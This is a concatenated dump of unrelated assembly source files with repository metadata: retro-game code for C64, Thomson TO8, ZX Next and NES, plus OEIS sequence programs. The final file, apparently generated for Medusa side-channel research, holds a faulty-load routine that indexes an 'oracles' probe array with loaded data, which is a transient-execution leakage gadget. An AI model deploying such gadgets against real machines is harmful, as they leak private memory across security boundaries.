nv_sprite_raw_get_location(spt_num_a, temp_x_a, temp_y_a) nv_sprite_raw_get_location(spt_num_b, temp_x_b, temp_y_b) nv_bge16(temp_x_a, temp_x_b, BiggerAX) BiggerBX: nv_sbc16(temp_x_b, temp_x_a, temp_x_dist) jmp FindDistY BiggerAX: nv_sbc16(temp_x_a, temp_x_b, temp_x_dist) FindDistY: nv_bge16(temp_y_a, temp_y_b, BiggerAY) BiggerBY: nv_adc16x(temp_x_dist, temp_y_b, rel_dist_addr) nv_sbc16(rel_dist_addr, temp_y_a, rel_dist_addr) jmp DebugPrint BiggerAY: nv_adc16x(temp_x_dist, temp_y_a, rel_dist_addr) nv_sbc16(rel_dist_addr, temp_y_b, rel_dist_addr) DebugPrint: /* nv_screen_plot_cursor(24, 0) lda #spt_num_b nv_screen_print_hex_byte(true) nv_screen_plot_cursor(24, 5) nv_screen_print_hex_word(temp_x_b, true) nv_screen_plot_cursor(24, 12) nv_screen_print_hex_byte_at_addr(temp_y_b, true) //nv_screen_plot_cursor(24,28) //nv_screen_print_hex_word(temp_x_dist, true) nv_screen_plot_cursor(24,34) nv_screen_print_hex_word(rel_dist_addr, true) nv_key_wait_any_key() */ } ////////////////////////////////////////////////////////////////////////////// // subroutine macro to get relative distance between two sprites // the word (16 bit) whose LSB is at rel_dist_addr will return the distance // between the two sprites // subroutine params // X register contains the sprite num of one sprite // y register contains the sprite num of the other sprite // macro params: // rel_dist_addr: is the 16 bit addr to a word in memory into which // the relative distance will be placed .macro nv_sprite_raw_get_rel_dist_reg(rel_dist_addr) { .label temp_x_dist = nv_a16 .label temp_y_dist = nv_b16 .label temp_x_a = nv_c16 .label temp_y_a = nv_d16 .label temp_x_b = nv_e16 .label temp_y_b = nv_f16 .label hold_spt_num_a = nv_a8 .label hold_spt_num_b = nv_b8 stx hold_spt_num_a sty hold_spt_num_b // clear the MSB of our temps lda #0 sta temp_y_a+1 sta temp_y_b+1 ldy hold_spt_num_a nv_sprite_raw_get_loc_reg(temp_x_a, temp_y_a) ldy hold_spt_num_b nv_sprite_raw_get_loc_reg(temp_x_b, temp_y_b) nv_bge16(temp_x_a, temp_x_b, BiggerAX) BiggerBX: nv_sbc16(temp_x_b, temp_x_a, temp_x_dist) jmp FindDistY BiggerAX: nv_sbc16(temp_x_a, temp_x_b, temp_x_dist) FindDistY: nv_bge16(temp_y_a, temp_y_b, BiggerAY) BiggerBY: nv_adc16x(temp_x_dist, temp_y_b, rel_dist_addr) nv_sbc16(rel_dist_addr, temp_y_a, rel_dist_addr) jmp DebugPrint BiggerAY: nv_adc16x(temp_x_dist, temp_y_a, rel_dist_addr) nv_sbc16(rel_dist_addr, temp_y_b, rel_dist_addr) DebugPrint: /* nv_screen_plot_cursor(24, 0) lda #spt_num_b nv_screen_print_hex_byte(true) nv_screen_plot_cursor(24, 5) nv_screen_print_hex_word(temp_x_b, true) nv_screen_plot_cursor(24, 12) nv_screen_print_hex_byte_at_addr(temp_y_b, true) //nv_screen_plot_cursor(24,28) //nv_screen_print_hex_word(temp_x_dist, true) nv_screen_plot_cursor(24,34) nv_screen_print_hex_word(rel_dist_addr, true) nv_key_wait_any_key() */ }
37.897314
99
0.634791
fa1da8122c579651cdbf335904de15ad466b932c
461
asm
Assembly
programs/oeis/252/A252736.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/252/A252736.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/252/A252736.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A252736: a(1) = a(2) = 0; for n > 2: a(2n) = 1 + a(n), a(2n+1) = a(A064989(2n+1)). ; 0,0,0,1,0,1,0,2,1,1,0,2,0,1,1,3,0,2,0,2,1,1,0,3,1,1,2,2,0,2,0,4,1,1,1,3,0,1,1,3,0,2,0,2,2,1,0,4,1,2,1,2,0,3,1,3,1,1,0,3,0,1,2,5,1,2,0,2,1,2,0,4,0,1,2,2,1,2,0,4,3,1,0,3,1,1,1,3,0,3,1,2,1,1,1,5,0,2,2,3 lpb $0 seq $0,117818 ; a(n) = n if n is 1 or a prime, otherwise a(n) = n divided by the least prime factor of n (A032742(n)). sub $0,1 add $1,2 lpe div $1,2 mov $0,$1
41.909091
201
0.527115
97d0c787a05bb2e4c847e0239f474e8e05a24837
1,756
asm
Assembly
game-projects/YM2413/GameMode/SMPSTest/MainEngine.asm
wide-dot/thomson-to8-game-engine
f305368ff28fba6e6bd03d0138a36ff5ea67e925
[ "Apache-2.0" ]
11
2021-09-07T18:45:06.000Z
2022-02-15T06:36:19.000Z
game-projects/YM2413/GameMode/SMPSTest/MainEngine.asm
dougmasten/thomson-to8-game-engine
b1f29e3b650e2296a5058570173e1c9068bccbe4
[ "Apache-2.0" ]
null
null
null
game-projects/YM2413/GameMode/SMPSTest/MainEngine.asm
dougmasten/thomson-to8-game-engine
b1f29e3b650e2296a5058570173e1c9068bccbe4
[ "Apache-2.0" ]
1
2021-11-22T08:43:52.000Z
2021-11-22T08:43:52.000Z
opt c,ct ******************************************************************************** * Game Engine (TO8 Thomson) - Benoit Rousseau 2020-2021 * ------------------------------------------------------------------------------ * Simple Test for YM2413 and SN76489 sound cards * ******************************************************************************** INCLUDE "./Engine/Constants.asm" INCLUDE "./Engine/Macros.asm" org $6100 ;lda #$01 ; 1: play 60hz track at 50hz, 0: do not skip frames ;sta Smps.60HzData jsr YM2413_DrumModeOn jsr IrqSet50Hz ldx #Smps_EHZ jsr PlayMusic ;jsr PSGInit ;jsr IrqSet50Hz ;ldx #Psg_Test ;jsr PSGPlay * ============================================================================== * Main Loop * ============================================================================== LevelMainLoop jsr WaitVBL lda Fire_Press bita #c1_button_A_mask beq LevelMainLoop ldx #Smps_SlowSmash jsr PlaySound bra LevelMainLoop * ============================================================================== * Routines * ============================================================================== INCLUDE "./Engine/Ram/BankSwitch.asm" INCLUDE "./Engine/Graphics/WaitVBL.asm" INCLUDE "./Engine/Joypad/ReadJoypads.asm" INCLUDE "./Engine/Irq/IrqSmpsJoypad.asm" INCLUDE "./Engine/Sound/Smps.asm" ;INCLUDE "./Engine/Irq/IrqPsg.asm" ;INCLUDE "./Engine/Sound/PSGlib.asm"
35.12
91
0.359909
298977d17a670123dd5a0d158e303817b634d459
1,940
asm
Assembly
Maths/Utilities/XX12equXX15byXX16-LL51.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
9
2021-09-29T22:08:15.000Z
2022-03-23T05:35:43.000Z
Maths/Utilities/XX12equXX15byXX16-LL51.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
1
2022-01-21T12:35:42.000Z
2022-01-21T17:47:24.000Z
Maths/Utilities/XX12equXX15byXX16-LL51.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
1
2022-01-15T10:13:49.000Z
2022-01-15T10:13:49.000Z
XX12equXX15byXX16: ; note not dot product but multiply XX12equXX15dotXX16: ; .LL51 \ -> &4832 \ XX12=XX15.XX16 each vector is 16-bit x,y,z ld c,0 ; LDX #0 ld b,0 ; LDY #0 ld hl,XX16 .CalcLoop: ; .ll51 \ counter X+=6 < 17 Y+=2 ld a,( UBnkXScaled) ;LDA &34 \ XX15+0 \ xmag ld (varQ),a ; Q ld a,(hl) ; LDA &09,X \ XX16,X call FMLTU ; FMLTU \ Acc= XX15 *XX16 /256 assume unsigned ld (varT),a inc hl ; move to sign byte ld a,( UBnkXScaledSign) ; XX15+1 xor (hl) ; XX16+1,X ld (varS),a ; S \ xsign inc hl ld a,(UBnkYScaled) ;LDA &36 \ XX15+2 \ ymag ld (varQ),a ; Q ld a,(hl) ;LDA &0B,X \ XX16+2,X call FMLTU ; FMLTU \ Acc= XX15 *XX16 /256 assume unsigned ld (varQ),a ; Q ld a,(varT) ld (varR),a ; \ R \ move T to R inc hl ld a,(UBnkYScaledSign) ; XX15+3 \ ysign xor (hl) ; XX16+3 call BADDll38 ; JSR &4812 \ LL38 \ BADD(S)A=R+Q(SA) \ 1byte add (subtract) ld (varT),a inc hl ld a,(UBnkZScaled) ;LDA &38 \ XX15+4 \ zmag ld (varQ),a ;STA &81 \ Q ld a,(hl) call FMLTU ; JSR &2847 \ FMLTU \ Acc= XX15 *XX16 /256 assume unsigned ld (varQ),a ; Q ld a,(varT) ; LDA &D1 \ T ld (varR),a ; STA &82 \ R \ move T to R inc hl ld a,(UBnkZScaledSign) xor (hl) ; XX16+5,X call BADDll38 ; JSR &4812 \ LL38 \ BADD(S)A=R+Q(SA) \ 1byte add (subtract) push hl ld hl,XX12 ; XX12,Y ld d,0 ; XX12,Y ld e,b add hl,de ; XX12,Y (in effect hl + b) ld (hl),a ; XX12,Y ld a,(varS) ; S \ result sign inc hl ld (hl),a ; XX12+1,Y inc b ; Y + 2 inc b ld a,c add a,6 ld c,a ; X +=6 cp 17 ; X finished? jr nc,.CalcLoop ret ; loop for second half of matrix
30.3125
90
0.490206
c84af9f9e8e7d6645d7c95836dfada08fe0832a2
349
asm
Assembly
oeis/180/A180218.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/180/A180218.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/180/A180218.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A180218: a(n) = (n+2)!*sum(1/k, k=1..n) ; Submitted by Christian Krause ; 0,6,36,220,1500,11508,98784,940896,9862560,112923360,1402980480,18804839040,270532604160,4158579398400,68031755366400,1180252336435200,21644690412441600,418404711978086400,8503255462238208000 mov $1,$0 add $0,2 seq $0,52745 ; A simple grammar. add $1,1 mul $0,$1 div $0,2
31.727273
193
0.762178
607410f3057138ad7742faafa4fd927049d45103
803
asm
Assembly
oeis/140/A140540.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/140/A140540.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/140/A140540.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A140540: Primes of form 17*n - 3. ; Submitted by Jon Maiga ; 31,167,269,337,439,541,643,677,881,983,1051,1153,1187,1289,1459,1493,1663,1697,1867,1901,2003,2207,2309,2377,2411,2683,2819,2887,3023,3329,3499,3533,3907,4111,4349,4451,4519,4621,4723,5233,5437,5471,5573,5641,5743,5879,5981,6151,6287,6389,6491,6661,6763,6899,6967,7001,7069,7103,7307,7477,7681,7817,7919,8089,8123,8191,8293,8429,8599,8803,8837,9007,9041,9109,9551,9619,9721,9857,10061,10163,10333,10639,10979,11047,11149,11251,11353,11489,11863,11897,12101,12203,12373,12577,12611,12713,12781,12917 mov $1,30 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,34 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,33
36.5
500
0.719801
e3e36f7fc4bdadffdecf0025b112ea7febc1b6e4
111
asm
Assembly
IS 2 - V2/asm/Test.asm
chibill/CPU-Emulators
f79cceb75e9fe7c11238e8d091bef1cf3a8970a3
[ "MIT" ]
null
null
null
IS 2 - V2/asm/Test.asm
chibill/CPU-Emulators
f79cceb75e9fe7c11238e8d091bef1cf3a8970a3
[ "MIT" ]
null
null
null
IS 2 - V2/asm/Test.asm
chibill/CPU-Emulators
f79cceb75e9fe7c11238e8d091bef1cf3a8970a3
[ "MIT" ]
null
null
null
SET NULL NULL 3 33 SET NULL NULL 1 0 SET NULL NULL 2 15 ADDi 2 0 2 STORE 1 1 2 ADDi 1 0 1 IF 2 3 1 4 IF 0 0 1 6
8.538462
15
0.675676
45a03631c20c59f96e6890248279912918176283
252
asm
Assembly
libsrc/gfx/common/__graphics_end.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/gfx/common/__graphics_end.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/gfx/common/__graphics_end.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_graphics PUBLIC __graphics_end EXTERN swapgfxbk1 INCLUDE "graphics/grafix.inc" __graphics_end: IF NEED_swapgfxbk = 1 call swapgfxbk1 ENDIF IF !__CPU_INTEL__ & !__CPU_GBZ80__ pop ix ENDIF ret
14
34
0.678571
ca32259b70144c2767a69c0946a1d488ace858b3
285
asm
Assembly
src/helpers.asm
ioncodes/c64-intro
ba3fd05d5a584d75a3bd871f2690218711c4b8a4
[ "MIT" ]
null
null
null
src/helpers.asm
ioncodes/c64-intro
ba3fd05d5a584d75a3bd871f2690218711c4b8a4
[ "MIT" ]
null
null
null
src/helpers.asm
ioncodes/c64-intro
ba3fd05d5a584d75a3bd871f2690218711c4b8a4
[ "MIT" ]
null
null
null
clear_screen: lda #$20 ldx #$00 sta $0400,x sta $0500,x sta $0600,x sta $0700,x dex bne *-13 rts clear_color: lda #$03 ldx #$00 sta $d800,x sta $d900,x sta $da00,x sta $db00,x dex bne *-13 rts
13.571429
16
0.452632
ad0b1103647ee794b814f3168fc29a6be108137f
7,729
asm
Assembly
samples/nes/tilemap_render/multidir_scroll_MMC3_4scr_mirr/data/tilemap.asm
0x8BitDev/MAPeD-SPReD
da1a8a582980ea5963777a46fd3dfddc0d69aa82
[ "MIT" ]
23
2019-05-16T20:23:49.000Z
2022-03-13T21:53:10.000Z
samples/nes/tilemap_render/multidir_scroll_MMC3_4scr_mirr/data/tilemap.asm
0x8BitDev/MAPeD-SPReD
da1a8a582980ea5963777a46fd3dfddc0d69aa82
[ "MIT" ]
6
2021-03-30T05:51:46.000Z
2022-01-07T13:18:44.000Z
samples/nes/tilemap_render/multidir_scroll_MMC3_4scr_mirr/data/tilemap.asm
0x8BitDev/MAPeD-SPReD
da1a8a582980ea5963777a46fd3dfddc0d69aa82
[ "MIT" ]
null
null
null
;####################################################### ; ; Generated by MAPeD-NES Copyright 2017-2021 0x8BitDev ; ;####################################################### ; export options: ; - tiles 4x4 (RLE)/(columns) ; - attributes per block ; - properties per block ; - mode: multidirectional scrolling ; - layout: matrix (no marks) ; - entities (screen coordinates) MAP_DATA_MAGIC = $2A32E ; data flags: MAP_FLAG_TILES2X2 = $01 MAP_FLAG_TILES4X4 = $02 MAP_FLAG_RLE = $04 MAP_FLAG_DIR_COLUMNS = $08 MAP_FLAG_DIR_ROWS = $10 MAP_FLAG_MODE_MULTIDIR_SCROLL = $20 MAP_FLAG_MODE_BIDIR_SCROLL = $40 MAP_FLAG_MODE_STATIC_SCREENS = $80 MAP_FLAG_ENTITIES = $100 MAP_FLAG_ENTITY_SCREEN_COORDS = $200 MAP_FLAG_ENTITY_MAP_COORS = $400 MAP_FLAG_LAYOUT_ADJACENT_SCREENS = $800 MAP_FLAG_LAYOUT_ADJACENT_SCR_INDS = $1000 MAP_FLAG_LAYOUT_MATRIX = $2000 MAP_FLAG_MARKS = $4000 MAP_FLAG_ATTRS_PER_BLOCK = $8000 MAP_FLAG_ATTRS_PER_CHR = $10000 MAP_FLAG_PROP_ID_PER_BLOCK = $20000 MAP_FLAG_PROP_ID_PER_CHR = $40000 ; *** BASE ENTITIES *** bobik_zdoh: .byte $00 ; uid .byte $18 ; width .byte $20 ; height .byte $0C ; pivot x .byte $20 ; pivot y .byte $03 ; properties count .byte $23, $01, $45 ; properties data walking_robot01: .byte $01 .byte $18 .byte $20 .byte $0C .byte $20 .byte $01 .byte $80 crystal01: .byte $02 .byte $10 .byte $10 .byte $08 .byte $10 .byte $00 energy01: .byte $03 .byte $10 .byte $10 .byte $08 .byte $10 .byte $02 .byte $00, $01 lift01: .byte $04 .byte $40 .byte $08 .byte $20 .byte $00 .byte $00 switch01: .byte $05 .byte $10 .byte $10 .byte $08 .byte $10 .byte $00 ; *** Lev0 *** ; Lev0_CHR: .incbin "tilemap_Lev0_CHR.bin" ; (1408) Lev0_Tiles: .incbin "tilemap_Lev0_Tiles.bin" ; (676) (4x4) 4 block indices per tile ( left to right, up to down ) Lev0_Attrs: .incbin "tilemap_Lev0_Attrs.bin" ; (169) attributes array ( 1 byte per tile ) Lev0_Blocks: .incbin "tilemap_Lev0_Blocks.bin" ; (180) blocks data ( 4 CHR indices per block; left to right, up to down ) Lev0_Props: .incbin "tilemap_Lev0_Props.bin" ; (45) block properties array ( 1 byte per block ) Lev0_Map: .incbin "tilemap_Lev0_Map.bin" ; compressed (753 / 768) game level tiles (4x4) array Lev0_MapTbl: .incbin "tilemap_Lev0_MapTbl.bin" ; (64) lookup table for fast calculation of tile addresses columns by X coordinate ( 16 bit offset per column of tiles ) Lev0_Palette: .byte $22, $08, $16, $27, $22, $0C, $1C, $31, $22, $0B, $1B, $2B, $22, $08, $06, $27 Lev0_StartScr = 0 ; start screen Lev0_WTilesCnt = 32 ; number of level tiles in width Lev0_HTilesCnt = 24 ; number of level tiles in height Lev0_TilesCnt = 169 Lev0_BlocksCnt = 45 .define Lev0_WScrCnt 4 ; number of screens in width .define Lev0_HScrCnt 3 ; number of screens in height Lev0_Layout: .word Lev0Scr0, Lev0Scr1, Lev0Scr2, Lev0Scr3 .word Lev0Scr4, Lev0Scr5, Lev0Scr6, Lev0Scr7 .word Lev0Scr8, Lev0Scr9, Lev0Scr10, Lev0Scr11 Lev0Scr0: Lev0Scr0EntsArr: .byte 3 .word Instance48 .word Instance39 .word Instance65 Instance48: .byte $00 ; entity instance number (0..n) .word crystal01 ; base entity .word $00 ; target entity .word $40 ; scr X .word $60 ; scr Y .byte $00 ; properties count Instance39: .byte $01 ; entity instance number (0..n) .word switch01 ; base entity .word Instance34 ; target entity .word $D0 ; scr X .word $60 ; scr Y .byte $00 ; properties count Instance65: .byte $02 ; entity instance number (0..n) .word bobik_zdoh ; base entity .word $00 ; target entity .word $88 ; scr X .word $C0 ; scr Y .byte $00 ; properties count Lev0Scr1: Lev0Scr1EntsArr: .byte 4 .word Instance49 .word Instance59 .word Instance44 .word Instance34 Instance49: .byte $03 .word crystal01 .word $00 .word $20 .word $60 .byte $00 Instance59: .byte $04 .word walking_robot01 .word $00 .word $B0 .word $C0 .byte $00 Instance44: .byte $05 .word energy01 .word $00 .word $D8 .word $60 .byte $00 Instance34: .byte $06 .word lift01 .word $00 .word $20 .word $C0 .byte $02 .byte $01, $80 Lev0Scr2: Lev0Scr2EntsArr: .byte 1 .word Instance50 Instance50: .byte $07 .word crystal01 .word $00 .word $70 .word $60 .byte $00 Lev0Scr3: Lev0Scr3EntsArr: .byte 2 .word Instance51 .word Instance38 Instance51: .byte $08 .word crystal01 .word $00 .word $18 .word $60 .byte $00 Instance38: .byte $09 .word lift01 .word $00 .word $C0 .word $C0 .byte $02 .byte $02, $96 Lev0Scr4: Lev0Scr4EntsArr: .byte 3 .word Instance52 .word Instance53 .word Instance62 Instance52: .byte $0A .word crystal01 .word $00 .word $98 .word $80 .byte $00 Instance53: .byte $0B .word crystal01 .word $00 .word $40 .word $E0 .byte $00 Instance62: .byte $0C .word walking_robot01 .word $00 .word $88 .word $E0 .byte $00 Lev0Scr5: Lev0Scr5EntsArr: .byte 1 .word Instance61 Instance61: .byte $0D .word walking_robot01 .word $00 .word $B0 .word $80 .byte $00 Lev0Scr6: Lev0Scr6EntsArr: .byte 5 .word Instance40 .word Instance45 .word Instance54 .word Instance60 .word Instance36 Instance40: .byte $0E .word switch01 .word Instance36 .word $28 .word $80 .byte $00 Instance45: .byte $0F .word energy01 .word $00 .word $C0 .word $20 .byte $00 Instance54: .byte $10 .word crystal01 .word $00 .word $C0 .word $E0 .byte $00 Instance60: .byte $11 .word walking_robot01 .word $00 .word $88 .word $20 .byte $00 Instance36: .byte $12 .word lift01 .word $00 .word $60 .word $E0 .byte $02 .byte $02, $96 Lev0Scr7: Lev0Scr7EntsArr: .byte 2 .word Instance43 .word Instance37 Instance43: .byte $13 .word switch01 .word Instance38 .word $20 .word $80 .byte $00 Instance37: .byte $14 .word lift01 .word $00 .word $50 .word $E0 .byte $02 .byte $01, $96 Lev0Scr8: Lev0Scr8EntsArr: .byte 3 .word Instance46 .word Instance55 .word Instance63 Instance46: .byte $15 .word energy01 .word $00 .word $E8 .word $50 .byte $00 Instance55: .byte $16 .word crystal01 .word $00 .word $70 .word $50 .byte $00 Instance63: .byte $17 .word walking_robot01 .word $00 .word $60 .word $C0 .byte $00 Lev0Scr9: Lev0Scr9EntsArr: .byte 3 .word Instance42 .word Instance56 .word Instance35 Instance42: .byte $18 .word switch01 .word Instance35 .word $F8 .word $C0 .byte $00 Instance56: .byte $19 .word crystal01 .word $00 .word $38 .word $C0 .byte $00 Instance35: .byte $1A .word lift01 .word $00 .word $C0 .word $50 .byte $03 .byte $01, $12, $01 Lev0Scr10: Lev0Scr10EntsArr: .byte 3 .word Instance41 .word Instance57 .word Instance64 Instance41: .byte $1B .word switch01 .word Instance37 .word $E0 .word $50 .byte $00 Instance57: .byte $1C .word crystal01 .word $00 .word $30 .word $50 .byte $00 Instance64: .byte $1D .word walking_robot01 .word $00 .word $98 .word $C0 .byte $00 Lev0Scr11: Lev0Scr11EntsArr: .byte 2 .word Instance47 .word Instance58 Instance47: .byte $1E .word energy01 .word $00 .word $C0 .word $C0 .byte $00 Instance58: .byte $1F .word crystal01 .word $00 .word $90 .word $50 .byte $00 .define Lev0_EntInstCnt 32 ; number of entities instances
17.974419
167
0.62673
115486fb90fe3b80edacd7f5d213f11978f54855
462
asm
Assembly
oeis/044/A044780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/044/A044780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/044/A044780.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A044780: Numbers n such that string 6,7 occurs in the base 10 representation of n but not of n+1. ; Submitted by Jamie Morken(s3) ; 67,167,267,367,467,567,667,679,767,867,967,1067,1167,1267,1367,1467,1567,1667,1679,1767,1867,1967,2067,2167,2267,2367,2467,2567,2667,2679,2767,2867,2967,3067,3167,3267,3367,3467,3567 add $0,1 mul $0,10 mov $1,$0 add $0,7 div $0,11 mul $0,22 sub $1,3 div $1,11 add $1,3 add $0,$1 add $0,$1 add $0,$1 sub $0,13 mul $0,4 sub $0,5
23.1
184
0.699134
d8e3408e9786bb37e9ca416e9085f353d78a3fa7
155
nasm
Assembly
Chapter03/data-manipulation/load-effective-address.nasm
firebitsbr/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
30
2018-05-15T21:45:09.000Z
2022-03-23T20:04:25.000Z
Chapter03/data-manipulation/load-effective-address.nasm
naveenselvan/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
1
2020-10-19T13:03:32.000Z
2020-11-24T05:50:17.000Z
Chapter03/data-manipulation/load-effective-address.nasm
naveenselvan/Penetration-Testing-with-Shellcode
2d756bccace6b727e050b2010ebf23e08d221fdc
[ "MIT" ]
18
2018-02-20T21:21:23.000Z
2022-01-26T04:19:28.000Z
global _start section .text _start: lea rax, [mem1] lea rbx, [rax] mov rax, 60 mov rdi, 0 syscall section .data mem1: dw 0x1234
11.071429
19
0.6
8164aee602af4f4064cfaa38cc4b1dce45414084
5,974
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_71.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_71.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_71.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x5d2a, %r12 sub $6042, %rdx mov (%r12), %r13 nop nop nop nop inc %rax lea addresses_normal_ht+0x1ce2a, %r14 cmp %r9, %r9 mov $0x6162636465666768, %r11 movq %r11, (%r14) nop nop add %rax, %rax lea addresses_A_ht+0x18e2a, %rdx and %r13, %r13 mov $0x6162636465666768, %r12 movq %r12, (%rdx) sub $4854, %r12 lea addresses_WT_ht+0x1148a, %r14 nop nop nop nop nop and %r12, %r12 mov (%r14), %r11d nop nop nop add $38631, %r11 lea addresses_D_ht+0x17e2a, %r13 nop nop nop xor %r11, %r11 vmovups (%r13), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r12 nop and %r9, %r9 lea addresses_WC_ht+0x412a, %r12 nop nop nop sub $45643, %r9 movups (%r12), %xmm2 vpextrq $1, %xmm2, %rdx nop nop dec %r13 lea addresses_A_ht+0x44aa, %r14 clflush (%r14) nop nop add $7795, %r9 and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r11 nop nop dec %rdx lea addresses_D_ht+0x15cfa, %rsi lea addresses_WT_ht+0x962a, %rdi clflush (%rdi) sub $55107, %r12 mov $76, %rcx rep movsw nop nop xor $23417, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rbp push %rdi push %rsi // Faulty Load lea addresses_RW+0xc62a, %r15 nop nop nop nop add $62094, %rdi mov (%r15), %si lea oracles, %r13 and $0xff, %rsi shlq $12, %rsi mov (%r13,%rsi,1), %rsi pop %rsi pop %rdi pop %rbp pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 